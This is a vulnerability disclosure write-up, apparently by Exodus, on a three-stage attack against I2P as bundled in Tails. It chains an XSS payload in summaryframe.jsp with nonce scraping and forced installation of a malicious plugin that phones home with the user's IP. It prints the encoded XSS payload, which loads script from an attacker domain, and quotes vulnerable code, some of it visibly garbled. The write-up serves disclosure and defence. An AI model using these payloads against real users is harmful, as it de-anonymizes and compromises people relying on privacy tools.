In continuation of the previous blog Fairy Tails and Silver Bullets we present the technical details of the flaws found in I2P (Invisible Internet Project) that also affects the Tails operating system.

There has been previous work in constructing the usage statistics for I2P users, mainly intended to try to determine the origin country of users and services used. Other means have strayed from passive to more active means in order to determine metric information on I2P users.

I2P new router stats
stats.i2p – Population of I2P Routers as of July 2014

The flaws that lead to the de-anonymization/remote code execution flaws discussed herein is a three stage process we will outline below. The first point is not a new technique and has been outlined in a 2006 BlackHat presentation: Hacking Intranet Websites from the Outside. The approach utilizes cross-site scripting vulnerabilities along with Javascript to reach into the internal I2P router configuration intranet. The ultimate goal for attacker abusing these flaws would be to reach the configclients.jsp page of I2P and invoke a plugin installation on behalf of the target.

<img style=”display: none;” src=”{i2p_domain}/summaryframe.jsp?refresh=10000000)%3B%20function%20addAjax(a%2Cb)%7B%20var%20__d%3Ddocument%3B%20var%20__h%20%3D%20__d.getElementsByTagName(%22head%22).item(0)%3B%20var%20s%20%3D%20__d.createElement(%22script%22)%3B%20s.setAttribute(%22src%22%2C%20a)!document.getElementById(%22autoupdate%22))%7BaddAjax(%22{xss_domain}%2F{xss_location}%22%2C%22autoupdate%22)%3B%7D%20%7D%20function%20update()%7B%20”/>

This crafted webpage is passed to the user and a parameter within summaryframe.jsp of the I2P router configuration is able to be controlled. In this context, the user will execute the Javascript passed along with the input. The first condition in executing the XSS is assuring that the input parameter is valid.

String d = request.getParameter("refresh");
    // Normal browsers send value, IE sends button label
    boolean allowIFrame = intl.allowIFrame(request.getHeader("User-Agent"));
    boolean shutdownSoon = (!allowIFrame) ||
                           "shutdownImmediate".equals(action) || "restartImmediate".equals(action) ||
                           "Shutdown immediately".equals(action) || "Restart immediately".equals(action);
    if (!shutdownSoon) {
        if (d == null || "".equals(d)) {
            d = intl.getRefresh();
        } else {
            d =; // XSS
        // we probably don't get here if d == "0" since caught in summary.jsi, but just
        // to be sure...
        if (!intl.getDisableRefresh()) {
            // doesn't work for restart or shutdown with no expl. tunnels,
            // since the call to ConfigRestartBean.renderStatus() hasn't happened yet...
            // So we delay slightly
            if (action != null &&
                ("restart".equals(action.toLowerCase(java.util.Locale.US)) || "shutdown".equals(action.toLowerCase(java.util.Locale.US)))) {
                synchronized(this) {
                    try {
                    } catch(InterruptedException ie) {}
            long timeleft = net.i2p.router.web.ConfigRestartBean.getRestartTimeRemaining();
            long delay = 60;
            try { delay = Long.parseLong(d); } catch (NumberFormatException nfe) {}
            if (delay*1000 < timeleft + 5000)
                out.print("<meta http-equiv="refresh" content="" + d + ";url=/summaryframe.jsp" >n");
                shutdownSoon = true;

We find that the Refresh parameter passed in by the target is readily accepted. There is an attempt to sanitize the input as seen in

    public static String stripHTML(String orig) {
        if (orig == null) return "";
        String t1 = orig.replace('<', ' '); String rv = t1.replace('>', ' ');
        return rv;

However, the sanitization of the Refresh parameter is not comprehensive and allows one to be craft input that is functional, despite the characters that are filtered out. The other contingent points that may have sanitized the data are calls to Java’s internal Integer and Long parsers but the exceptions are caught for invalid data. The baseline assumption for the input is then to utilize a predefined value if the input is incorrectly parsed. Afterwards, the input is interpolated into a HTML meta var object where the refresh call can be tagged to call out to a provided javascript payload.

I2P had many cross-site scripting vulnerabilities, one of which was used in our several stage de-anonymization attack. The component that we used was in the configclients.jsp file which is necessary in establishing numerous scripts tasked with reaching the plugin installation form.

The next step is to abuse the I2P plugin framework. I2P uses plugins similar to Firefox’s .xpi files. Plugins are used to include new console applications, themes, program functionality, or shell/binary execution. The plugin system allows full access to the file system and run as the same privileges as the I2P user. Once a plugin is installed it is automatically executed without the user’s interaction.

Plugins are signed during compilation using an author’s public public key. During the plugin generation process, if an author key is not found then one is automatically generated and used to sign the plugin package. I2P does not come with initial plugin keys–when the target encounters a new key for a plugin signer, the key is automatically imported as there currently does not exist an authority for signing keys.

An initial GET call to configclients.jsp is necessary in order to retrieve the unique nonce value generated per page request. Previous to doing so, an attacker would not have been able to otherwise submit to the plugin form. The nonce value acts as a challenge that normally is generated when a user interacts with the router console.

var nonce_val = data.substring(data.indexOf(‘name=”plugin”’)).match(‘name’=”nonce” value=”(.*)”’);

After submitting the HTTP POST request we are able to bypass the challenge response and masquerade the request to appear to originate from a valid plugin installation.

<h3><a name="plugin"></a><%=intl._("Plugin Installation")%></h3>

 <%=intl._("Look for available plugins on {0}.", "<a href="http://plugins.i2p">plugins.i2p</a>")%>
 <%=intl._("To install a plugin, enter the download URL:")%>
<div class="wideload">

<form action="configclients" method="POST">
<input type="hidden" name="nonce" value="<%=pageNonce%>" >

 <input type="text" size="60" name="pluginURL" >
<div class="formaction">
 <input type="submit" name="action" class="default" value="<%=intl._("Install Plugin")%>" />
 <input type="submit" class="cancel" name="foo" value="<%=intl._("Cancel")%>" />
 <input type="submit" name="action" class="download" value="<%=intl._("Install Plugin")%>" />
<div class="formaction">
 <input type="submit" name="action" class="reload" value="<%=intl._("Update All Installed Plugins")%>" />

After submitting the malicious plugin installation we are able to masquerade a request as the target.

Tails has a separate user for the I2P service, the i2psvc user. This user is white-listed and is specifically allowed access to any Internet facing site.

    # i2p is allowed to do anything it wants to.
    mod owner uid-owner i2psvc ACCEPT;


This permissions configuration allows us to craft a payload, execute it under the i2psvc user, and phone back to a server of our choosing. Once the plugin is loaded the code will execute in the background with no further user interaction required. The user will only see that they were redirected back to their I2P console. Once the i2psvc user executes our payload it will display the IP address in which the user is connecting to the I2P network.

As previously stated the I2P plugins are similar to Firefox plugins and are written in Java. For our demo we had the I2P user phone back to our server. We have many other options for crafting our payload. For example, the i2psvc user is allowed R/W/X access to the /tmp directory. Knowing this we could write a backdoor to the /tmp directory and execute it under the i2psvc user. Other options would be further data exfiltration allowing us to grab the users MAC address, files on the system, or routing tables. The diagram below visualizes our three stage attack described in this post.

Vuln Diagram
Diagram depicting the the steps in achieving remote code execution

This vulnerability does not fit the mold of what we at Exodus deal with on a daily basis. Nonetheless, it was an fun bug to play with. We want to thank all developers on the I2P, TOR, and Tails projects. The I2P developers had fixes for all the vulnerabilities we disclosed to the project within 48 hours.